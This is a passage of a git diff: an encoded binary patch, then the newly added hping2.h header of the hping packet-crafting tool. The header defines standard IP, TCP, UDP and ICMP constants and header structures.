zb#qDk#&$>XjVkKxqb>HzXt8CBsfm^O;xNwbnh}t^jmS<|Zq(xRs|&aZyuUqsx0Y+I z!KN;{aY1j{&G+P#BCY0;QLQSn#d@u2itl^9z@4PZM@w&m(kBA3HS!!|Yot@^z*VFg zWw({=r?K<>7}cuUG}<)ew=zs&b3o-y|K6E4u+pKJ*rx2Jz4I@*7HL#=7XiK zjbwClH{J#OsHhjB(04I<*EQ>SByjqCd*k3hT)TQFd7Ni*X-!-SbNq zn($^}FK}ax5L>MRHSOMlkd~YRwk=b6%?# z_yt$>056rQXdR_r1|sn3A;dVPI6coR)`8f}J=7bNZU{u+uUyp!Y;~G06K+<8yS!qu zgXjhB?W!K&K2jCwrgUf^0uLKPjMI(N zt-N9#*jh17*$%3(n^&w6#34ZyyBp9Zs3m6)3-#j1+me<%;JTvmY<@=p`w5aq8|`mN zg~5^?;5GGfFw{?veco;NlTR|%o^9R$GaU2xQos{D^5mlPJXt+Qvg~!1l#@P1A9I@P zhOF~^*ZNY%`(D}$yvbEPz?-EiCJ;)u z1|pDeAr!(r)hr}P4ka8(cRNU4g@DIF7t zz+;CHtDNrU73;v(ifJ2rRADc#SR;s|gDQ46X=I@}K++CCz#ClE1H4J9qK%a9b7C*> z;UPpy&pWXP_?sa_N-KH5y}-$?>H)4PRS^xPEuEMgT4?O<9!DK`qpSLWG%q(_Z&13^ ziFM$EuIdBQ;-W647XlGTiwh#9*PU1gPVr{-0cmkjmr`hda?|EOnO(vM#m*Fk=Gv4^ z^aN)rIt8C46Z<|g^i6L{KZafks-@H_4BE$})^1Q(!<(GU;?L{j8-J6uVGCT=t@i+z zlPXVCZ-df`fe0Kogc$EDIDN&P)`6`R(_Qm5Rp3)smM(%=!GlPSvC~wm%iZ+?`IQS> z8v+j(t7s#oIiW7_8?NdDe$Q3Cz@NJ+8AWMab>iB`YxM((q!^@>j&ouiNHBJ10eEX* z0q>ToFh?mwn~an++O9O(fwE}38blj@@S_Vzh<4uqNb2k=9+3F*XuBGeLbS;(+)t@_ zz25R3g20U}2~$JKb#eBG@itIU*=3}hVKE-Q96xkuHT2Q=-c zfxDpU%roZN-VpDylk~;Dt^E6ey}&12H30m%RKv657N3}`uMX1IheE~J-B>9;Bx%zU za0gfQ0C$qA*kx64fvqWCu@2nPReiu#Tj>OJ3r}}?=)G-%6C}&q{JggEgEQ73AV1Ah zL{I7M;K5rWklL!3*{b`G{sddesO!`fp|kzUP%rQXsfxHL-5Q8-T-Z9uDRtl}QZ?^g zP{3sFpx&Sq98?C2RlBkU#O4qOwB$c_K*jtzADH;;m;)r#vde)B)#9IcGJ1i(l`0=8 zCntLc6<-wVKQvCYa^qw5*4Kvq_E#@(OR0+Pj{BC1Yk9>wu(e{k$50VBHmL(!E2cL- zCdtz@Nt^5{Uj~MYW!t-eRIg~3CWkd7ts-!`KR7S|9FVH8MQNTtwU!)(#>(u*ZoUrO z#Z|q)U8O39E2aINSi3>+`>yH-zUHdhTY{N4phl?21=T5n*9O%Mf_DcMaFMI}f$zAg zHeC0dmksxxf!n&OA9$pzYR3y+7F587t9pQUyQ&6!)>S>gf4Zucsb_d9)OOtuOZ5@& zwA%K9wV>Kda3HAm5j@#d$w7W6C7vED+jHU2l{p9e8`W>mHfezA#GJRXGQO!~uA^t^ z&b%)866bB!055diMh)ps!|k5+o~wt?xh_H45Tm`-cYKGFcwYx&Qe$K92;Bc9XNlK*WaZFnpc{6$d3wZ5ue zx1(i1I@`jaiaz#aUll>s2n1r;+GC7uT= zd6*UR54-s~a2q$@lN##r00l6#$PIM?dCJBT0K{M(XIF#LT=&=qyho~nNa^Q+2z+h` zkVuHU=8-D!LK%i7!R?VaUL`+)?WJMC^z8s%fLAJ`gQ`eX&^ zJIg)PfLFSz?;62xxT*#u(1|M&6NtcbhY;gXaXQW`)`1^(RZnU@+1oI* zn%C+A9^|S4AO?$(Oo>oSW`)#zH|Fq6kVeg&czxSmwS;HC5lCk_C)-ct}Mg^O`XYYA;X z53LUTkelzrV`ord`|_armSAv~j2qk?;_kYDtGl6oAa09MPifac1QJX^q!i*v7J_LU z-Ndnmo1X!s8|=&oNHDp_?gpjZLtP-j6hulPv}C#PIi+STw>1-pb328e>pnxD%*6VC zhpI0M28T1_(fJiozU8%&<lRFrQ2?pHS2xGc&10I_w3v zLzJ0dC>f?>br*YOzgM0NFmC@tEg2fmt4Sf8#L6?GKrONICU?}mZxbu8ivqR8%6{s5 z#y|;WmMBn5D8G=S7pn8}xHds8u~HYMuiDCC+H^!U<@sU7> zJ02x2T9+(pFhAUF)q&v+{yq%7?X14#HKzvK$zF!-rM*@c@Efk`2jZjH%P0l&$zGP4 z@5a1evCd`yF<9(nl!EzWN?KnbUgM$8q!w+ry=-!lhGZ{$UIu>WhLVx}j5a|n8BGs~ z@>sQ%`?U#biIw3BH?$y$B@+c|iIq#`D5NH_GG7#^C054jsJXeMt^R=g5T%`>0RQFh zg7pI5k*XN%l)|q%_5&yDLFj@=>1W!rO3s4_ZBq}e4h%mx+4F1p|BHv#Ll9%-(Qdcl zZkwR$5;n>SvC~mn)r05*(u#se zDa4WN{AnEB#PPc4%YW09F16(#kYI9;-3>|~@X!W;1XBL9>+|~hkl!h zp_M%SGp8i!Pj>bz6d#>eGVU)E1!@T;{fK@|-Ra^PS%F$&WwgQ#El8{k6J?}i{wuAU ztkG~U0*jQXUwg(9OOI+3)RK5+>FNUS$=D7Lyi=R({1UiOs=Ql!8*@_k!B%p+5?j2+WP3F5D4B1*v`HbD>Z)q;>8h7s zQv=g>8)m>O+`RodHHGV4d171RCKY}rX_bMzab#~(1IeZRbZ(os{4b#@aIvfQ0Me+k ztALsMc&ztzFK|0o^#Qk+s@MxC^#mfYK7<&j5~m*&%kC>?{i`=w4RoDuv} zX@!rQB!9VCQU0xD9Kn;~{aW&!jl|fvkaJb<3l;VE(gFBj$s;9?myG@OX)Uq8v%dsGUoqWr)bYe{!VhSWXwNA zd(%A0Q^pmH^CV;bqtZVv`I_XL75x2W;AqL?BkD0!LW0?Ak~ z4Cr1>^4yxv)=-6Y;)*JFO43j4$Md9*1?Qje4-uh?ug~{n^v6cZ>-H7-{krtuk-S6l z;R^n1(({QH_Kz_nCTaj59O=~d9VK_K;9sixS4jRq@_xw&Bp;KEMW^Cp#lE)u@YR`^ z|DyPOBj%qfv+}2%d@v}kPrbia)MMTtp1A%Kitj1OrzM}0jQM?9ksl&CTk<5ynE#UI zJFYVPL*=(5V}8tgN4)l>3MTXBDk{hISC@WG$?YX~s^G(0Pun+;+$^fMyUJaX(_NqU zn&jD%S4dtf8Mo&i*}qTnDal_+#(a1WYx~bC>TzlJS#5to@+HZaC1d+Pl^(mXotVE^ z{C{Cj6Z1$W=%~V=^v_E!(q-SjNJjLmSJ#~nkmQxlqg0Oh3#ETR^2d@j*<&ny#7+skCGfMxnc$XOtmleL%jH@ig%{$@+t1^)vhZ3x#C|Td9~zq zl5wjxQa*VOZD*Bvpm1N650jiNd6HyokHa8`D`;!RM3s9bxtO<)$_G~P=ShF2NFFa43-l*x!#v3|Vxr1Fm3&adq3=WAVZSH=2-dOOL^u9BaUjKerecKQ1GnJQl@8S}T0 zqEqr?lDkUAg1nxq4V)KT5))P4TXAw;bF9keRK$O^>U~Y}7RlQrZ`o+f#=WX!)_dE7$%Ro9NUm*jxtK9ch!7fHtUuyc#-ts~xcQN2kO>$$id zJl1WozX#;!VaZ1&7fHr^&iAg;2Kt5l{buPo4~gsZlcB3BpL~XKy^8$uJwe6^=fU(( zZ2utj#|DajL&?o0`z244Tp&sNV|x$D-eZ!_O8!m(vv2Ig%VVm^Y+$ z!S$uZvj2wU+mcQcfXDq#c$}BUeDovLKb)5@U(sL8bJxod^U;rD!%=yp$}B^*tczG# zHc6VbB-fRkCK-!PDLyW_n`BM0N@%&o&o}vXn3%tV6u*{SOL^Z?lAjO1v7$frR=t}f z--};Y-e*ZJrTw!O?XMl054Vu4Ny?3jahfN2z+j5X(<Z(_d_a~D_U@;CJ-A~3Le1$N>(`3qbH@I`9pqaS*WMV48chDaEBzgkKa6-3Cke3s zF|S=#k)NH#?~~-ZD)C9};tiouvd8g}>&8w5s9lrTFEs8ilH~fugCnRgRB}9OQ+
T=Hef-iq-6pYx2LiO>0liY~DCrZjD`yGDimL&f{7{)sOvgy?ZIyCK zpJ|f)lCl3YrT?tt#gbQ7@V_tpQ<6_hzFNUQS?xbv@+`^ENM0cMHOV-><<-9{NUkcm zwj>`~*;eHpC2Nwgy^Y_aUd+Er{QGrX@-@k6qhn@K<`YQom%p9t?IAf!a(~I#OU%1T zJp9Fc<}p4HzlHY0_@nF`pX2(}yF~l>_Nvdv++%)2JnsLn-}561_^GJ5L8` ze~N!wiKl8~|J37WnT}R{ev>KYKc;zL6Y(~a3R`FL|uGsQk{25w6@#{hS!py-etRe?rkp41BekkQmm7kI1 zhg05GnO}6tbYd|~l3!IBt8(Nn`%nG-r}p_77Jlw%Eyclau*C5kuZ8A`k|#;>YlvfY z{dc_N`>p>=*?F(}8;mb3@}tI`D)V#2u|Ix(ctE^;B>C;(n9olHFBI=S$%iCk{>#$8 zBDq+S-}{aEd`*E5JgmEF!QfL0F~6qmJ(ANU`C;^fRX$oWuK%3$FGwbT(<7GX0pWvsAxKwqV0D{<0ZQ_qA>vmMxc^`D&}Cz{9e!*+r%L<+GnT1!|Y2RwOvurDuM~$7TNavkE)U znm+H}d3zVUCkm1MxoKzBY?0z;I)2EW#>o5S<)~e+iT@kv>G!u~f7U*Q;V)S^|NFKb z4{|$;BRfC0DJj=KAKA&T;^c8=`xW)skw=?8=RXwjSA@TR!QWO_B_@i$FygN-{r!}D5a(H2%RZ)J`w``moTA|O6yJh@SEA;1?KF`DRgN5H&R?h#vWHOKQ z%_#nB-@{JrtfGErWanRzotrD{+)<&wuR{Mwg+70pvMdkJSLpv(q0jGnHuG~~(XQcE z&i~r&EIZFn=dr6d%hQ_wXIXx=ug#9**XwpLSN*4ozqa`7*PBQ`DbjBv{dnma|GS&M ztX@2R(o6}Oi%T(wmR_NEP&~IF!&!2uMYj2n7 z^L9NHwQH923#4ZrKCHsdoC^JE75Z~4^q;TLUs0j|s_FCiv*U{XvO@FkCh1>}+I6S& zzlrqsO8#`(#sJ*l7KKafN;}AiHTkOCBJ$5Xm&Jcpg+9NEk=vgX6-P5O%#6?Tu4{jE)($Nxl>&reA|>wqH9wv#mf`edi`^rAdMfzFbCT7H6KfBz^% zc2rZZLW{VtLVu0y)E+9xTdU5uEBN^@1LXO6UhVy+_)kcG(eDaHUHU&&*lDv4nj}uE z_<-s2{BZtGKW=0o_d83sV~$a!J*mhINf?pPjdo+IjUSVgMQAPg8>Nse$=HGbJm&KX?rc>TuhedI2CH>k_9(HZoSvIR_ z|N5%z?rp&E zXxg_t?^rl}cw8YLk^Z79it=>Dl>b6f-Y?nqg<>h`UuoJOpLIs#zo*Wn1-$?vJ&+pcjjjLmu{8h6nqCC%S@@?Ker-4Hzw`ZNUS$9G zc6@Kxd&T5!B8zdJ{MN87@(IerET`y=T0roN>?g6o++_d7cp&zs6lP3s3;4#>6= zf0p(Ou2`#m4pG%s2Rc;Yq6aT3wp4%$;KW*x59@DzdqH+;(Y*I3**Q1rufL1G_~OFh_vzr~cvcWCV!XzA zP2*Xo6WO}bFPvGBzo|M~qrat&iS(+ zE)*w=f1vaiDG+N;^Y3WW=ks>9$LfVb>xa2bzDOv zls4n+SDYGH%bGrKZ|5OJkRMm9`3G}z{o+Ro#VoaJou-{tvrVIM@)7Z~Eek$xx8@(q zEsN*Vrf;q*G;hmomVcEuABUZqSGCN~j;OG6R)zjc75Z;B^)?<(Dm?NQ)ORZQ`B$;? zJS^Ix;7`?fc&>u~&kFqt&GS<`uANlmpLVULhQDz}K2S1S7b{3xF9;P=9U%>AjmO~1U2AnwnS&!0B+t7c=P@tJ>UJs(&1NA_Pd zecr#*w60iJF}>E*w*)A-v@MYG{b*9O-dMS*x9b4kDEgP<#YEGWjsFeAzb%SqYw2%~ z^!eM-dHf4*89IJ;Zt}-x)1r8~EBx+Pp`RnaJ4SgsP5L=eJQqtpE7D(HVgK9W50A!Y z{yPPEyS@^&>t5*>N>4r?ZR*EoW25#yZu-0*XaBnBsJ+?>`GWLgUoFb}s~`U=`!7fF z=RZ$U)?droeX%nA#RHvoqH9E8>L@P`saUKDAthvL#EI7>rJCPtSkP)DF54`zqv55hwOYx z`r3tsg86EC)BdX2dQp4#7k|<%1)s0-94UT(#6PLYm$Mdeq4*2$D)O_jwtb<3{|(dU z{TQFu-!41Z4~FLX0rWagQ8#8k()n6;&rtq^eq1&JT<7(5~~TTP`UY`nK9TR{BZT6^chk6mnuyFH(!x-1NEqtt0zujV$zEiROo0 zWxw;Ag^@+Fl|L7i+sS@ZGOV>70nwDNXSmCQrkx89}ipQl7=>^ z_VC_4_nr41YJ8tbUVUFCwcN&XccNv9#V_cKa3S^g`g2z zP=orUmI|>@TR-SO602fCln9~~tnv3-d+l>(_PqxL4|#X*S+myKYp=ETT5In!XYvlp zbNusPf`1(TR>4PJ(C={`(m1xI@UMK*(fsp$uKhlRzpm#|hsyGT!e0pd_6Fdz%R_#ko> zKCdXBdjX$UJ^s%+{NGUj{7Z#zebd4Hub=;3`P>co{F}n-0Dd3hC)e-Y*Bqap)4=q0 zh2PWl^-ntP_e#7y6u z3ZDmlVugi<4|@~Qrl{QO&je=52W==pvW47Asa!TS0hg}dv%&}dtnuouvij`}{J)_15B!BgyyDlF!lN%b_>S`V2H@0N8p!i6ihohpJJP*; zzU}#FJ!urqx9iZ3_x{EK-mCU{8(fF*(+Yo|;(s^b;y+qfKcMgj75;KyNB(+)e4bT4 zPb&VS9{yshdpwTPxQnyAC~N};SvopVS)M?;Bw}NhWn<%HZWirqG#*d3PlTS24&uC9sRb-dUhhvvdE3OJanv@+ zB+6^k=FeO5$IYm*$-Y^pbyQYe6DQUIx}n zA<;|r+U0_fF79CCJfR0H+jz!7_ifX{DbS0{E{Ce&3A~t9rl_jDWi4HMm{{jL!%H*G zyEba$eG9Lg?L+V9&PVVbEE#k!M3C7#9rSZLqVe1S^ft?3?O|>5bhLARydyK2yXmr- zk9N+S-N6#L^W?SN-Dk{WAG~#C_xkNy#^Ac->X$s7JJlSzB(?H(I&IJ($uI+pvpOrDkq=am`rby}|^stg= z#gevbu<$Bcwn=tOJFN~~$J#V2;#riB#@naQL?31Y&l6;EswAf35wGlF-nr0V>Iwla zYUdKrS{w1&bd}*+j^-HMEl&*YM1Yfb#x_mWI7dExqM0Oc#5E^i%wtbpx_Ql9yLHtV zTn$258kwul+`4r0`jz1wxNOq_^!Tk0nrlxehbOK+8JWj#+`fG2hPnONV^3Y%HM^HC z-?(OEZ5y|^K?GAKCTW)vU@^7oz^J$5CT5hx9U|S{#fy*MxPJMH*&dCt9M!;U;P&XO zTebCG7v&{pU1E(4?=SK)-k&XE7{D&7&eBFkmYwugszLz6kaf|S21r?B?T`U?6BmT;|Q4Tw1O=ujhM=m6;|6|(pfC?&4u`>HG%rVp2a&mc+b}+@C1N~P zKa$+S5oo(EUw}7CDU4}Lu?tkoak8#*W`%I#NkwaIFKm+|xvYW=1SYpCOXDC6U|Ng< z^nEBTZV?T-Kx5=a)2-JotRPdefxn~bFbMlprbRs+Oc4$v6Tu|hVsjRoA-%I+F~}LN zMb@D7EwVDbXo}5*)`SxY1Jff^>QP=LUC*wRk_PLlVAul28G@vY#hRM<3R#v4%2XB! zEoY_`4H!PRv?VIsbtx#J;G~p9|6k;3na}1}2uvKVUS?R*N}RUKTLz(dZCHLdhh}9b z;bwv4l4}fW5J#<<+rr(#4koLhhB(lwCUq$b40mS3siKH40}4zJ;|dDK@U>IVcU4^#Q z%q6=SGh0+xznmEgy?DQwNl{L3=&C?q>MW_sPNFq*(pFlE54FpvBs)`y-YZ9&n7W%% zjzPLVv*T8pI1}R!vUFZDSi5kRW+L!3PF;n@faxj&BVOo?PfdXYOzYz?a{ix`@QRM=J9GFZr1+?|n<6P9O!=_+JXxCn>H zur*^6p(T#VNsVJQazHJ)pn3X~kj7ar)l;v%I+cK&gn*hl8u?Rty_7jE^m2FxZEc6blVfNw#eznCSa3!CCPeLF5M2o>3)?#Wp3H= z;DKlkow5d%gd&dY4w^Uy4YD$t7+9_}>*)r1Wk#qNA#Ki(#nOd}W9-bDYQcpgfEv}3 zH#-U<;By@M1YBG;1>F6~nTO6&_8bw^E!X1ttKcq+1qJT0j7z4gD$oh81ujw%3?@}S zj*eKWua)Us*cbUYe!}q_E5{Inu#7dsdL^t%8#qV=8y#C$?NN*P*;_lL@N<_6RP<%1 zOO)&^C*^#>Epm7t1BAB zNXzt+5J zs;79-&=i|nZdx>4YP^NpN%&k_iKO%qIR$j7fw2nuo42R(178meUofxSzc1VE7z^>b6<`1qj7yTCfeVB@N1FW7ignfN#k zmp83oDvJlhJTC1iOhd*2A~u$ucQgl;%hmFTr`+#TLGW4>ci0MGBkfPlhudfuB7G^! zje`$@&5XL zhDOqqOo%5s*vYQ}(>BG4(xJ2E>|pJY+#3lAE$fQw!QmfLZE_g%GzvpJ9~fx0>CxEA z*)cUOPzS6E9@!+}EH)B_G1BXSF5*VhtKWPOSQ$eNF6^yR zdnl6|oLn$LG`22|dbeD-Lu75_3?ExY=#F#eA~91Q?5u|w1E;_OT|+3lmvgnLMhS=D zH$=i2-bUwTVr58nv1CXWjoPCH3Q4r6NTucZru2}h@%=DuieRzYxC~rA!PUIyWB2_XlzG6d)}kLI1Ak z`SX)Edh+}CocZ<-6xqw~$MG$nzxtmZy?-B?Z)>FwtIHo^-Jx{$-K7Rar*nCTx{wK8m$8fVxe^DQJ@a?l+ zaAo43d+_Zi0($>mH{bgCdKvt+Z}}K>e|-OZsc*mfhn~{4eq0azwSeBgC(gIu;SseB z=l`2Z@9pP*ui)D!&JP)c^!*xT{X)BE>VJpF&9|2xofBv0?(d-bf+-^0EBXRCjK z{=ecMeb>|b_vdZ>h?DbD>@#E=z`=5aI=~utQ zzoP@=xyk-#tABz1xABj>y!@-@&QeGJ`eI11HN1@81Tf-^YC9SQWTTdMQSMj`1{}ampUATD? P{pCB3UfpQLBBcLcIm89) literal 0 HcmV?d00001 diff --git a/hping2.h b/hping2.h new file mode 100644 index 0000000..7947032 --- /dev/null +++ b/hping2.h @@ -0,0 +1,497 @@ +/* + * $smu-mark$ + * $name: hping2.h$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 9$ + */ + +/* $Id: hping2.h,v 1.19 2003/08/07 23:55:55 antirez Exp $ */ + +#ifndef _HPING2_H +#define _HPING2_H + +#include +#include +#include +#include "byteorder.h" +#include "systype.h" + +#ifdef __sun__ +typedef char int_8_t; +typedef unsigned char u_int8_t; +typedef short int_16_t; +typedef unsigned short u_int16_t; +typedef int int_32_t; +typedef unsigned int u_int32_t; +#endif + +/* types */ +#ifndef __u8 +#define __u8 u_int8_t +#endif /* __u8 */ +#ifndef __u16 +#define __u16 u_int16_t +#endif /* __u16 */ +#ifndef __u32 +#define __u32 u_int32_t +#endif /* __u32 */ + +#ifndef __uint8_t +#define __uint8_t u_int8_t +#endif /* __uint8_t */ +#ifndef __uint16_t +#define __uint16_t u_int16_t +#endif /* __uint16_t */ +#ifndef __uint32_t +#define __uint32_t u_int32_t +#endif /* __uint32_t */ + +#include "hcmp.h" /* Hping Control Message Protocol */ + +/* protocols header size */ +#ifndef ICMPHDR_SIZE +#define ICMPHDR_SIZE sizeof(struct myicmphdr) +#endif +#ifndef UDPHDR_SIZE +#define UDPHDR_SIZE sizeof(struct myudphdr) +#endif +#ifndef TCPHDR_SIZE +#define TCPHDR_SIZE sizeof(struct mytcphdr) +#endif +#ifndef IPHDR_SIZE +#define IPHDR_SIZE sizeof(struct myiphdr) +#endif +#ifndef IP6HDR_SIZE +#define IP6HDR_SIZE sizeof(struct myip6hdr) +#endif + +/* wait X seconds after reached to sent packets in oreder to display replies */ +#define COUNTREACHED_TIMEOUT 1 + +/* requests status table stuffs */ +/* Warning, TABLESIZE 0 == floating point exception */ +#define TABLESIZE 400 +#define S_SENT 0 +#define S_RECV 1 + +/* usefull defines */ +#ifndef TRUE +#define TRUE 1 +#define FALSE 0 +#endif +#ifndef IFNAMSIZ +#define IFNAMSIZ 16 +#endif +#ifndef PF_PACKET +#define PF_PACKET 17 /* kernel 2.[12].* with 2.0.* kernel headers? */ +#endif +#ifndef ETH_P_IP +#define ETH_P_IP 0x0800 /* Internet Protocol packet */ +#endif +#ifndef ABS +#define ABS(x) (((x)>0) ? (x) : -(x)) +#endif + +/* header size of some physical layer type */ +#define PPPHDR_SIZE_LINUX 0 +#define PPPHDR_SIZE_FREEBSD 4 +#define PPPHDR_SIZE_OPENBSD 4 +#define PPPHDR_SIZE_NETBSD 4 +#define PPPHDR_SIZE_BSDI 4 +#define ETHHDR_SIZE 14 +#define LOHDR_SIZE 14 +#define WLANHDR_SIZE 14 +#define TRHDR_SIZE 20 + +/* packet size (physical header size + ip header + tcp header + 0 data bytes) */ +#ifndef IP_MAX_SIZE +#define IP_MAX_SIZE 65535 +#endif + +/* absolute offsets */ +#define ABS_OFFSETIP linkhdr_size +#define ABS_OFFSETTCP ( linkhdr_size + IPHDR_SIZE ) +#define ABS_OFFSETICMP ( linkhdr_size + IPHDR_SIZE ) +#define ABS_OFFSETUDP ( linkhdr_size + IPHDR_SIZE ) + +/* defaults and misc */ +#define DEFAULT_SENDINGWAIT 1 /* wait 1 sec. between sending each packets */ +#define DEFAULT_DPORT 0 /* default dest. port */ +#define DEFAULT_INITSPORT -1 /* default initial source port: -1 means random */ +#define DEFAULT_COUNT -1 /* default packets count: -1 means forever */ +#define DEFAULT_TTL 64 /* default ip->ttl value */ +#define DEFAULT_SRCWINSIZE 512 /* default tcp windows size */ +#define DEFAULT_VIRTUAL_MTU 16 /* tiny fragments */ +#define DEFAULT_ICMP_TYPE 8 /* echo request */ +#define DEFAULT_ICMP_CODE 0 /* icmp-type relative */ +#define DEFAULT_ICMP_IP_VERSION 4 +#define DEFAULT_ICMP_IP_IHL (IPHDR_SIZE >> 2) +#define DEFAULT_ICMP_IP_TOS 0 +#define DEFAULT_ICMP_IP_TOT_LEN 0 /* computed by send_icmp_*() */ +#define DEFAULT_ICMP_IP_ID 0 /* rand */ +#define DEFAULT_ICMP_CKSUM -1 /* -1 means compute the cksum */ +#define DEFAULT_ICMP_IP_PROTOCOL 6 /* TCP */ +#define DEFAULT_RAW_IP_PROTOCOL 6 /* TCP */ +#define DEFAULT_TRACEROUTE_TTL 1 + +#define BIND_NONE 0 /* no bind */ +#define BIND_DPORT 1 /* bind destination port */ +#define BIND_TTL 2 /* bind ip->ttl */ +#define DEFAULT_BIND BIND_DPORT + +/* fragmentation defines */ +#define MF ((unsigned short)0x2000) /* more fragments */ +#define DF ((unsigned short)0x4000) /* dont fragment */ +#define NF ((unsigned short)0x0000) /* no more fragments */ + +/* ip options defines */ +#define IPOPT_COPY 0x80 +#define IPOPT_CLASS_MASK 0x60 +#define IPOPT_NUMBER_MASK 0x1f + +#define IPOPT_COPIED(o) ((o)&IPOPT_COPY) +#define IPOPT_CLASS(o) ((o)&IPOPT_CLASS_MASK) +#define IPOPT_NUMBER(o) ((o)&IPOPT_NUMBER_MASK) + +#define IPOPT_CONTROL 0x00 +#define IPOPT_RESERVED1 0x20 +#define IPOPT_MEASUREMENT 0x40 +#define IPOPT_RESERVED2 0x60 + +#define IPOPT_END (0 |IPOPT_CONTROL) +#define IPOPT_NOOP (1 |IPOPT_CONTROL) +#define IPOPT_SEC (2 |IPOPT_CONTROL|IPOPT_COPY) +#define IPOPT_LSRR (3 |IPOPT_CONTROL|IPOPT_COPY) +#define IPOPT_TIMESTAMP (4 |IPOPT_MEASUREMENT) +#define IPOPT_RR (7 |IPOPT_CONTROL) +#define IPOPT_SID (8 |IPOPT_CONTROL|IPOPT_COPY) +#define IPOPT_SSRR (9 |IPOPT_CONTROL|IPOPT_COPY) +#define IPOPT_RA (20|IPOPT_CONTROL|IPOPT_COPY) + +#define IPOPT_OPTVAL 0 +#define IPOPT_OLEN 1 +#define IPOPT_OFFSET 2 +#define IPOPT_MINOFF 4 +#define MAX_IPOPTLEN 40 +#define IPOPT_NOP IPOPT_NOOP +#define IPOPT_EOL IPOPT_END +#define IPOPT_TS IPOPT_TIMESTAMP + +#define IPOPT_TS_TSONLY 0 /* timestamps only */ +#define IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */ +#define IPOPT_TS_PRESPEC 3 /* specified modules only */ + +/* tcp flags */ +#ifndef TH_FIN +#define TH_FIN 0x01 +#endif +#ifndef TH_SYN +#define TH_SYN 0x02 +#endif +#ifndef TH_RST +#define TH_RST 0x04 +#endif +#ifndef TH_PUSH +#define TH_PUSH 0x08 +#endif +#ifndef TH_ACK +#define TH_ACK 0x10 +#endif +#ifndef TH_URG +#define TH_URG 0x20 +#endif +#ifndef TH_X +#define TH_X 0x40 /* X tcp flag */ +#endif +#ifndef TH_Y +#define TH_Y 0x80 /* Y tcp flag */ +#endif + +/* ICMP TYPE */ +#define ICMP_ECHOREPLY 0 /* Echo Reply */ +#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */ +#define ICMP_SOURCE_QUENCH 4 /* Source Quench */ +#define ICMP_REDIRECT 5 /* Redirect (change route) */ +#define ICMP_ECHO 8 /* Echo Request */ +#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ +#define ICMP_PARAMETERPROB 12 /* Parameter Problem */ +#define ICMP_TIMESTAMP 13 /* Timestamp Request */ +#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ +#define ICMP_INFO_REQUEST 15 /* Information Request */ +#define ICMP_INFO_REPLY 16 /* Information Reply */ +#define ICMP_ADDRESS 17 /* Address Mask Request */ +#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ + +#define ICMP6_DEST_UNREACH 1 +#define ICMP6_PACK_TOOBIG 2 +#define ICMP6_TIME_EXCEEDED 3 +#define ICMP6_PARAMETERPROB 4 +#define ICMP6_ECHO 128 +#define ICMP6_ECHOREPLY 129 + + +/* Codes for UNREACHABLE */ +#define ICMP_NET_UNREACH 0 /* Network Unreachable */ +#define ICMP_HOST_UNREACH 1 /* Host Unreachable */ +#define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */ +#define ICMP_PORT_UNREACH 3 /* Port Unreachable */ +#define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */ +#define ICMP_SR_FAILED 5 /* Source Route failed */ +#define ICMP_NET_UNKNOWN 6 +#define ICMP_HOST_UNKNOWN 7 +#define ICMP_HOST_ISOLATED 8 +#define ICMP_NET_ANO 9 +#define ICMP_HOST_ANO 10 +#define ICMP_NET_UNR_TOS 11 +#define ICMP_HOST_UNR_TOS 12 +#define ICMP_PKT_FILTERED 13 /* Packet filtered */ +#define ICMP_PREC_VIOLATION 14 /* Precedence violation */ +#define ICMP_PREC_CUTOFF 15 /* Precedence cut off */ +#define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */ + +/* Codes for REDIRECT */ +#define ICMP_REDIR_NET 0 /* Redirect Net */ +#define ICMP_REDIR_HOST 1 /* Redirect Host */ +#define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */ +#define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ + +/* Codes for TIME_EXCEEDED */ +#define ICMP_EXC_TTL 0 /* TTL count exceeded */ +#define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */ + +/* + * IP header + */ +struct myiphdr { +#if defined(__LITTLE_ENDIAN_BITFIELD) + __u8 ihl:4, + version:4; +#elif defined (__BIG_ENDIAN_BITFIELD) + __u8 version:4, + ihl:4; +#else +#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND" +#endif + __u8 tos; + __u16 tot_len; + __u16 id; + __u16 frag_off; + __u8 ttl; + __u8 protocol; + __u16 check; + __u32 saddr; + __u32 daddr; +}; + +struct myip6hdr { +#if defined(__LITTLE_ENDIAN_BITFIELD) + __u8 tc1:4, + version:4; + __u8 flowlabel1:4, + tc2:4; + __u16 flowlabel2; +#elif defined (__BIG_ENDIAN_BITFIELD) +/* __u32 version:4, + tc:8 + flowlabel:20;*/ + __u8 version:4, + tc1:4; + __u8 tc2:4, + flowlabel1:4; + __u16 flowlabel2; +#else +#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND" +#endif + __u16 paylen; + __u8 nextheader; + __u8 hoplimit; + __u8 saddr[16]; + __u8 daddr[16]; +}; + +/* + * UDP header + */ +struct myudphdr { + __u16 uh_sport; /* source port */ + __u16 uh_dport; /* destination port */ + __u16 uh_ulen; /* udp length */ + __u16 uh_sum; /* udp checksum */ +}; + +/* + * TCP header. + * Per RFC 793, September, 1981. + */ +struct mytcphdr { + __u16 th_sport; /* source port */ + __u16 th_dport; /* destination port */ + __u32 th_seq; /* sequence number */ + __u32 th_ack; /* acknowledgement number */ +#if defined (__LITTLE_ENDIAN_BITFIELD) + __u8 th_x2:4, /* (unused) */ + th_off:4; /* data offset */ +#elif defined (__BIG_ENDIAN_BITFIELD) + __u8 th_off:4, /* data offset */ + th_x2:4; /* (unused) */ +#else +#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND" +#endif + __u8 th_flags; + __u16 th_win; /* window */ + __u16 th_sum; /* checksum */ + __u16 th_urp; /* urgent pointer */ +}; + +/* + * ICMP header + */ +struct myicmphdr +{ + __u8 type; + __u8 code; + __u16 checksum; + union + { + struct + { + __u16 id; + 